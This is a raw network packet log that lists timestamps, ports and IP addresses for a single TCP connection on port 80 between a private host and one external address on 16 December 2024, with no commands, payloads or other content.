Dec 16, 2024 21:03:02.115770102 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.115905046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.115961075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.116678953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.116776943 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.116827011 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.116877079 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.117526054 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.117577076 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.117666960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.117727041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.118398905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.118451118 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.118521929 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.118611097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.119311094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.119388103 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.119473934 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.119524002 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.120196104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.120246887 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.120384932 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.120486021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.121066093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.121119976 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.121124029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.121220112 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.122013092 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.122068882 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.122081041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.122144938 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.122863054 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.122899055 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.122925997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.122952938 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.123733044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.123825073 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.123980999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.124032021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.124552011 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.124613047 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.124682903 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.124778986 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.125458956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.125523090 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.125524998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.125606060 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.126424074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.126458883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.126523018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.127279043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.127445936 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.127445936 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.127500057 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.128108978 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.128175974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.128247976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.128298998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.128993988 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.129049063 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.129057884 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.129184008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.129913092 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.129961967 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.130026102 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.130080938 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.130736113 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.130788088 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.130947113 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.131004095 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.131669044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.131726027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.131951094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.132029057 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.132518053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.132567883 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.132625103 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.132674932 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.133430958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.133486032 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.133486986 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.133588076 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.134251118 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.134299040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.134357929 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.134438992 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.135169983 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.135236025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.135293007 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.135348082 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.136051893 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.136101007 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.136111021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.136166096 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.136945963 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.137022018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.137058020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.137111902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.137825966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.137881041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.137929916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.137981892 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.138693094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.138747931 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.139095068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.139146090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.139652967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.139698982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.139775991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.139828920 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.140486956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.140539885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.140629053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.140678883 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.141324043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.141393900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.141442060 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.141490936 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.288072109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.288146019 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.288166046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.288427114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.288556099 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.288614988 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.288857937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.289117098 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.289175987 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.289179087 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.289227962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.290015936 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.290076017 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.290095091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.290144920 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.291151047 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.291204929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.291301966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.291354895 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.291764021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.291816950 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.291865110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.291915894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.292624950 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.292681932 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.292746067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.292798042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.293509007 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.293565035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.293591022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.293641090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.294401884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.294455051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.294528961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.294584990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.295249939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.295305014 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.295388937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.295449972 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.296153069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.296220064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.296288013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.296341896 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.297053099 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.297105074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.297168970 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.297218084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.297909975 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.297961950 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.298110008 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.298165083 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.298826933 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.298862934 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.298880100 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.298911095 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.299715042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.299772024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.299798012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.299846888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.300565004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.300616026 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.300690889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.300745010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.301440954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.301495075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.301551104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.301601887 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.302339077 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.302395105 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.302409887 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.302459955 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.303186893 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.303241968 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.303258896 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.303297043 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.304131985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.304189920 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.304241896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.304292917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.304980993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.305035114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.305082083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.305139065 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.305820942 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.305874109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.305951118 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.306001902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.306727886 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.306780100 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.306782007 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.306829929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.307617903 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.307672024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.307776928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.307828903 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.308542013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.308598042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.308640003 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.308687925 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.309372902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.309429884 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.309494019 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.309545040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.310260057 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.310323000 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.310389996 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.310445070 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.311122894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.311225891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.311283112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.311532974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.312007904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.312061071 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.312091112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.312144041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.312897921 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.312947035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.313025951 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.313077927 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.313750029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.313802958 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.313868999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.313919067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.314637899 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.314692974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.314757109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.314807892 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.315550089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.315603971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.315664053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.315712929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.316415071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.316473007 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.316546917 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.316600084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.317311049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.317363977 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.317363977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.317421913 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.318176985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.318231106 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.318232059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.318284035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.319138050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.319171906 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.319185972 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.319220066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.319994926 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.320050001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.320050001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.320107937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.320848942 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.320900917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.320966959 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.321017981 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.321713924 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.321775913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.321775913 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.321824074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.322614908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.322670937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.322776079 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.322828054 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.323502064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.323555946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.323564053 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.323604107 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.324353933 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.324405909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.324481010 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.324532032 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.325225115 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.325275898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.325339079 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.325396061 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.326157093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.326209068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.326256990 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.326306105 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.327047110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.327150106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.327208042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.327936888 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.327995062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.327999115 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.328044891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.328804970 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.328856945 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.328978062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.329027891 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.329638004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.329689026 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.329755068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.329808950 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.330526114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.330575943 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.330641985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.330703020 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.331432104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.331481934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.331572056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.331624031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.332310915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.332361937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.332452059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.332501888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.333175898 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.333221912 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.333256960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.333306074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.486289024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.486342907 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.486576080 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.486706018 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.486763954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.486830950 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.486831903 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.487139940 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.487199068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.487270117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.487344980 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.488256931 CET	80	49882	31.41.244.11	192.168.2.4
